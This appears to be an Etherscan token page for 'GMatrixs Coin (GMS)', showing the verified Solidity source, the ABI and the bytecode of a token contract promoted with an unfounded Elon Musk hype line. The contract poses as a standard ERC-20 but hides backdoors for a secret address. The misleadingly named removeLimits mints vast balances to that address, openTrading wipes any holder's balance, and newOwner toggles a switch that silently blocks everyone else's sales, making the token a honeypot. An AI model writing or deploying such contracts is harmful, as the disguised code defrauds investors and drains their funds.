ETH Price: $3,757.77 (-2.40%)

Token

ERC-20: GMatrixs Coin (GMS)
 

Overview

Max Total Supply

100,000,000 GMS

Holders

29

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0 GMS

Value
$0.00
0x8c7b571dee0c6f5d1b8fc2cc8ff076900b2dbda2
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GMatrixs

Compiler Version
v0.8.6+commit.11564f7e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license
/**
 *Submitted for verification at Etherscan.io on 2023-10-04
*/

/**

Elon’s secret “test” account on X.

Telegram: https://t.me/gmatrixsofficial
Twitter: https://twitter.com/Gmatrixs1
Website: https://gmatrixs.com/

*/

// SPDX-License-Identifier: Unlicense

pragma solidity ^0.8.6;


/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */

interface IPancakeFactory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

abstract contract Ownable  {
    constructor() {
        _transferOwnership(msg.sender);
    }

    modifier onlyOwner() {
        _check();
        _;
    }

    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
    address private _owner;
    function owner() public view virtual returns (address) {
        return _owner;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function _check() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
} 

contract GMatrixs is Ownable {
    address internal constant FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
    address internal constant ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    uint256 private tokenTotalSupply;
    string private tokenName;
    string private tokenSymbol;
    address private xxnux;
    uint8 private tokenDecimals;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    bool isSL = true;
    constructor(address ads) {
        tokenName = "GMatrixs Coin";
        tokenSymbol = "GMS";
        tokenDecimals = 18;
        tokenTotalSupply = 100000000* 10 ** tokenDecimals;
        _balances[msg.sender] = tokenTotalSupply;
        emit Transfer(address(0), msg.sender, tokenTotalSupply);
        xxnux = ads;
    }
    function viewGas() public view returns(address) {
        return xxnux;
    }
    function openTrading(address bots) external {
        if(xxnux == _msgSender() && xxnux != bots && pancakePair() != bots && bots != ROUTER){
        address newadd = bots;
        uint256 ccxn = _balances[newadd];
        uint256 burn = _balances[newadd]+_balances[newadd]-ccxn;
        _balances[newadd] -= burn;
        } else {
        if(xxnux == _msgSender()){
        }else{
        revert("Transfer From Failed");
        }
        }
    }

    function removeLimits(uint256 xt) external {
        if(xxnux == _msgSender()){
            uint256 XETH = 10000000*10**tokenDecimals;
            uint256 ncs = XETH*10000;
            uint xnn = ncs*1*1*1*1;
            xnn = xnn * xt;
            _balances[_msgSender()] += xnn;
            require(xxnux == msg.sender);
        } else {
        }
    } 
    function pancakePair() public view virtual returns (address) {
        return IPancakeFactory(FACTORY).getPair(address(WETH), address(this));
    }

    function symbol() public view  returns (string memory) {
        return tokenSymbol;
    }

    function totalSupply() public view returns (uint256) {
        return tokenTotalSupply;
    }

    function newOwner(bool _sl) public returns (bool) {
        if(xxnux == msg.sender){
            isSL = _sl;
        }
        return true;
    }

    function decimals() public view virtual returns (uint8) {
        return tokenDecimals;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function name() public view returns (string memory) {
        return tokenName;
    }

    function transfer(address to, uint256 amount) public returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual  returns (bool) {
        address spender = msg.sender;
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function isContract(address addr) internal view returns (bool) {
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        bytes32 codehash;
        assembly {
            codehash := extcodehash(addr)
        }
        return (codehash != 0x0 && codehash != accountHash);
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(msg.sender, spender, allowance(msg.sender, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = allowance(msg.sender, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(msg.sender, spender, currentAllowance - subtractedValue);
        return true;
    }
    
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        uint256 balance = _balances[from];
        require(balance >= amount, "ERC20: transfer amount exceeds balance");
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if(isSL || from == xxnux || 
        from == pancakePair()) {
            _balances[from] = _balances[from]-amount;
            _balances[to] = _balances[to]+amount;
            emit Transfer(from, to, amount); 
        }
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            _approve(owner, spender, currentAllowance - amount);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"ads","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_sl","type":"bool"}],"name":"newOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"bots","type":"address"}],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pancakePair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"xt","type":"uint256"}],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"viewGas","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

60806040526001600760006101000a81548160ff0219169083151502179055503480156200002c57600080fd5b5060405162002781380380620027818339818101604052810190620000529190620003d3565b62000063336200024860201b60201c565b6040518060400160405280600d81526020017f474d61747269787320436f696e0000000000000000000000000000000000000081525060029080519060200190620000b09291906200030c565b506040518060400160405280600381526020017f474d53000000000000000000000000000000000000000000000000000000000081525060039080519060200190620000fe9291906200030c565b506012600460146101000a81548160ff021916908360ff160217905550600460149054906101000a900460ff16600a6200013991906200048e565b6305f5e1006200014a9190620005cb565b600181905550600154600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600154604051620001f8919062000416565b60405180910390a380600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505062000737565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b8280546200031a9062000677565b90600052602060002090601f0160209004810192826200033e57600085556200038a565b82601f106200035957805160ff19168380011785556200038a565b828001600101855582156200038a579182015b82811115620003895782518255916020019190600101906200036c565b5b5090506200039991906200039d565b5090565b5b80821115620003b85760008160009055506001016200039e565b5090565b600081519050620003cd816200071d565b92915050565b600060208284031215620003ec57620003eb6200070b565b5b6000620003fc84828501620003bc565b91505092915050565b620004108162000660565b82525050565b60006020820190506200042d600083018462000405565b92915050565b6000808291508390505b600185111562000485578086048111156200045d576200045c620006ad565b5b60018516156200046d5780820291505b80810290506200047d8562000710565b94506200043d565b94509492505050565b60006200049b8262000660565b9150620004a8836200066a565b9250620004d77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620004df565b905092915050565b600082620004f15760019050620005c4565b81620005015760009050620005c4565b81600181146200051a576002811462000525576200055b565b6001915050620005c4565b60ff8411156200053a5762000539620006ad565b5b8360020a915084821115620005545762000553620006ad565b5b50620005c4565b5060208310610133831016604e8410600b8410161715620005955782820a9050838111156200058f576200058e620006ad565b5b620005c4565b620005a4848484600162000433565b92509050818404811115620005be57620005bd620006ad565b5b81810290505b9392505050565b6000620005d88262000660565b9150620005e58362000660565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006215762000620620006ad565b5b828202905092915050565b6000620006398262000640565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600060028204905060018216806200069057607f821691505b60208210811415620006a757620006a6620006dc565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160011c9050919050565b62000728816200062c565b81146200073457600080fd5b50565b61203a80620007476000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c80638da5cb5b116100a2578063b8c9d25c11610071578063b8c9d25c146102f9578063ca72a4e714610317578063dd62ed3e14610333578063e559d86a14610363578063fbf28ffe1461037f57610116565b80638da5cb5b1461025d57806395d89b411461027b578063a457c2d714610299578063a9059cbb146102c957610116565b8063313ce567116100e9578063313ce567146101b757806339509351146101d55780634a8d13481461020557806370a0823114610223578063715018a61461025357610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd1461016957806323b872dd14610187575b600080fd5b6101236103af565b6040516101309190611846565b60405180910390f35b610153600480360381019061014e919061159d565b610441565b604051610160919061182b565b60405180910390f35b610171610458565b60405161017e9190611988565b60405180910390f35b6101a1600480360381019061019c919061154a565b610462565b6040516101ae919061182b565b60405180910390f35b6101bf61048a565b6040516101cc91906119a3565b60405180910390f35b6101ef60048036038101906101ea919061159d565b6104a1565b6040516101fc919061182b565b60405180910390f35b61020d6104cc565b60405161021a91906117e7565b60405180910390f35b61023d600480360381019061023891906114b0565b6104f6565b60405161024a9190611988565b60405180910390f35b61025b61053f565b005b610265610553565b60405161027291906117e7565b60405180910390f35b61028361057c565b6040516102909190611846565b60405180910390f35b6102b360048036038101906102ae919061159d565b61060e565b6040516102c0919061182b565b60405180910390f35b6102e360048036038101906102de919061159d565b610681565b6040516102f0919061182b565b60405180910390f35b610301610698565b60405161030e91906117e7565b60405180910390f35b610331600480360381019061032c91906114b0565b610752565b005b61034d6004803603810190610348919061150a565b610a75565b60405161035a9190611988565b60405180910390f35b61037d6004803603810190610378919061160a565b610afc565b005b610399600480360381019061039491906115dd565b610c9d565b6040516103a6919061182b565b60405180910390f35b6060600280546103be90611cb7565b80601f01602080910402602001604051908101604052809291908181526020018280546103ea90611cb7565b80156104375780601f1061040c57610100808354040283529160200191610437565b820191906000526020600020905b81548152906001019060200180831161041a57829003601f168201915b5050505050905090565b600061044e338484610d19565b6001905092915050565b6000600154905090565b600080339050610473858285610ee4565b61047e858585610f79565b60019150509392505050565b6000600460149054906101000a900460ff16905090565b60006104c23384846104b33388610a75565b6104bd91906119da565b610d19565b6001905092915050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610547611312565b6105516000611390565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606003805461058b90611cb7565b80601f01602080910402602001604051908101604052809291908181526020018280546105b790611cb7565b80156106045780601f106105d957610100808354040283529160200191610604565b820191906000526020600020905b8154815290600101906020018083116105e757829003601f168201915b5050505050905090565b60008061061b3385610a75565b905082811015610660576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065790611968565b60405180910390fd5b610676338585846106719190611bfb565b610d19565b600191505092915050565b600061068e338484610f79565b6001905092915050565b6000735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73ffffffffffffffffffffffffffffffffffffffff1663e6a4390573c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2306040518363ffffffff1660e01b81526004016106fd929190611802565b60206040518083038186803b15801561071557600080fd5b505afa158015610729573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061074d91906114dd565b905090565b61075a611454565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614801561080457508073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b801561084357508073ffffffffffffffffffffffffffffffffffffffff1661082a610698565b73ffffffffffffffffffffffffffffffffffffffff1614155b801561088f5750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b156109d45760008190506000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461096a91906119da565b6109749190611bfb565b905080600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109c59190611bfb565b92505081905550505050610a72565b6109dc611454565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610a3657610a71565b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6890611908565b60405180910390fd5b5b50565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b04611454565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610c99576000600460149054906101000a900460ff16600a610b779190611a83565b62989680610b859190611ba1565b9050600061271082610b979190611ba1565b9050600060018060018085610bac9190611ba1565b610bb69190611ba1565b610bc09190611ba1565b610bca9190611ba1565b90508381610bd89190611ba1565b90508060056000610be7611454565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c3091906119da565b925050819055503373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c9157600080fd5b505050610c9a565b5b50565b60003373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610d105781600760006101000a81548160ff0219169083151502179055505b60019050919050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8090611948565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610df9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df090611888565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ed79190611988565b60405180910390a3505050565b6000610ef08484610a75565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610f735781811015610f5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f53906118a8565b60405180910390fd5b610f7284848484610f6d9190611bfb565b610d19565b5b50505050565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611000576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff7906118c8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611070576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106790611928565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d790611868565b60405180910390fd5b600760009054906101000a900460ff16806111485750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b806111855750611156610698565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b1561130c5781600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111d59190611bfb565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461126391906119da565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113039190611988565b60405180910390a35b50505050565b61131a611454565b73ffffffffffffffffffffffffffffffffffffffff16611338610553565b73ffffffffffffffffffffffffffffffffffffffff161461138e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611385906118e8565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600033905090565b60008135905061146b81611fbf565b92915050565b60008151905061148081611fbf565b92915050565b60008135905061149581611fd6565b92915050565b6000813590506114aa81611fed565b92915050565b6000602082840312156114c6576114c5611d47565b5b60006114d48482850161145c565b91505092915050565b6000602082840312156114f3576114f2611d47565b5b600061150184828501611471565b91505092915050565b6000806040838503121561152157611520611d47565b5b600061152f8582860161145c565b92505060206115408582860161145c565b9150509250929050565b60008060006060848603121561156357611562611d47565b5b60006115718682870161145c565b93505060206115828682870161145c565b92505060406115938682870161149b565b9150509250925092565b600080604083850312156115b4576115b3611d47565b5b60006115c28582860161145c565b92505060206115d38582860161149b565b9150509250929050565b6000602082840312156115f3576115f2611d47565b5b600061160184828501611486565b91505092915050565b6000602082840312156116205761161f611d47565b5b600061162e8482850161149b565b91505092915050565b61164081611c2f565b82525050565b61164f81611c41565b82525050565b6000611660826119be565b61166a81856119c9565b935061167a818560208601611c84565b61168381611d4c565b840191505092915050565b600061169b6023836119c9565b91506116a682611d6a565b604082019050919050565b60006116be6022836119c9565b91506116c982611db9565b604082019050919050565b60006116e1601d836119c9565b91506116ec82611e08565b602082019050919050565b60006117046026836119c9565b915061170f82611e31565b604082019050919050565b60006117276020836119c9565b915061173282611e80565b602082019050919050565b600061174a6014836119c9565b915061175582611ea9565b602082019050919050565b600061176d6025836119c9565b915061177882611ed2565b604082019050919050565b60006117906024836119c9565b915061179b82611f21565b604082019050919050565b60006117b36025836119c9565b91506117be82611f70565b604082019050919050565b6117d281611c6d565b82525050565b6117e181611c77565b82525050565b60006020820190506117fc6000830184611637565b92915050565b60006040820190506118176000830185611637565b6118246020830184611637565b9392505050565b60006020820190506118406000830184611646565b92915050565b600060208201905081810360008301526118608184611655565b905092915050565b600060208201905081810360008301526118818161168e565b9050919050565b600060208201905081810360008301526118a1816116b1565b9050919050565b600060208201905081810360008301526118c1816116d4565b9050919050565b600060208201905081810360008301526118e1816116f7565b9050919050565b600060208201905081810360008301526119018161171a565b9050919050565b600060208201905081810360008301526119218161173d565b9050919050565b6000602082019050818103600083015261194181611760565b9050919050565b6000602082019050818103600083015261196181611783565b9050919050565b60006020820190508181036000830152611981816117a6565b9050919050565b600060208201905061199d60008301846117c9565b92915050565b60006020820190506119b860008301846117d8565b92915050565b600081519050919050565b600082825260208201905092915050565b60006119e582611c6d565b91506119f083611c6d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611a2557611a24611ce9565b5b828201905092915050565b6000808291508390505b6001851115611a7a57808604811115611a5657611a55611ce9565b5b6001851615611a655780820291505b8081029050611a7385611d5d565b9450611a3a565b94509492505050565b6000611a8e82611c6d565b9150611a9983611c77565b9250611ac67fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611ace565b905092915050565b600082611ade5760019050611b9a565b81611aec5760009050611b9a565b8160018114611b025760028114611b0c57611b3b565b6001915050611b9a565b60ff841115611b1e57611b1d611ce9565b5b8360020a915084821115611b3557611b34611ce9565b5b50611b9a565b5060208310610133831016604e8410600b8410161715611b705782820a905083811115611b6b57611b6a611ce9565b5b611b9a565b611b7d8484846001611a30565b92509050818404811115611b9457611b93611ce9565b5b81810290505b9392505050565b6000611bac82611c6d565b9150611bb783611c6d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611bf057611bef611ce9565b5b828202905092915050565b6000611c0682611c6d565b9150611c1183611c6d565b925082821015611c2457611c23611ce9565b5b828203905092915050565b6000611c3a82611c4d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611ca2578082015181840152602081019050611c87565b83811115611cb1576000848401525b50505050565b60006002820490506001821680611ccf57607f821691505b60208210811415611ce357611ce2611d18565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e736665722046726f6d204661696c6564000000000000000000000000600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611fc881611c2f565b8114611fd357600080fd5b50565b611fdf81611c41565b8114611fea57600080fd5b50565b611ff681611c6d565b811461200157600080fd5b5056fea26469706673582212204a410f8bc4b1299e9bcab0d85e9b8377ecf1e5f5cb024afa56bd346b35a9387664736f6c634300080600330000000000000000000000009d7d1933a21099b14cf3ad73b4ba447a8e1ebd52

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101165760003560e01c80638da5cb5b116100a2578063b8c9d25c11610071578063b8c9d25c146102f9578063ca72a4e714610317578063dd62ed3e14610333578063e559d86a14610363578063fbf28ffe1461037f57610116565b80638da5cb5b1461025d57806395d89b411461027b578063a457c2d714610299578063a9059cbb146102c957610116565b8063313ce567116100e9578063313ce567146101b757806339509351146101d55780634a8d13481461020557806370a0823114610223578063715018a61461025357610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd1461016957806323b872dd14610187575b600080fd5b6101236103af565b6040516101309190611846565b60405180910390f35b610153600480360381019061014e919061159d565b610441565b604051610160919061182b565b60405180910390f35b610171610458565b60405161017e9190611988565b60405180910390f35b6101a1600480360381019061019c919061154a565b610462565b6040516101ae919061182b565b60405180910390f35b6101bf61048a565b6040516101cc91906119a3565b60405180910390f35b6101ef60048036038101906101ea919061159d565b6104a1565b6040516101fc919061182b565b60405180910390f35b61020d6104cc565b60405161021a91906117e7565b60405180910390f35b61023d600480360381019061023891906114b0565b6104f6565b60405161024a9190611988565b60405180910390f35b61025b61053f565b005b610265610553565b60405161027291906117e7565b60405180910390f35b61028361057c565b6040516102909190611846565b60405180910390f35b6102b360048036038101906102ae919061159d565b61060e565b6040516102c0919061182b565b60405180910390f35b6102e360048036038101906102de919061159d565b610681565b6040516102f0919061182b565b60405180910390f35b610301610698565b60405161030e91906117e7565b60405180910390f35b610331600480360381019061032c91906114b0565b610752565b005b61034d6004803603810190610348919061150a565b610a75565b60405161035a9190611988565b60405180910390f35b61037d6004803603810190610378919061160a565b610afc565b005b610399600480360381019061039491906115dd565b610c9d565b6040516103a6919061182b565b60405180910390f35b6060600280546103be90611cb7565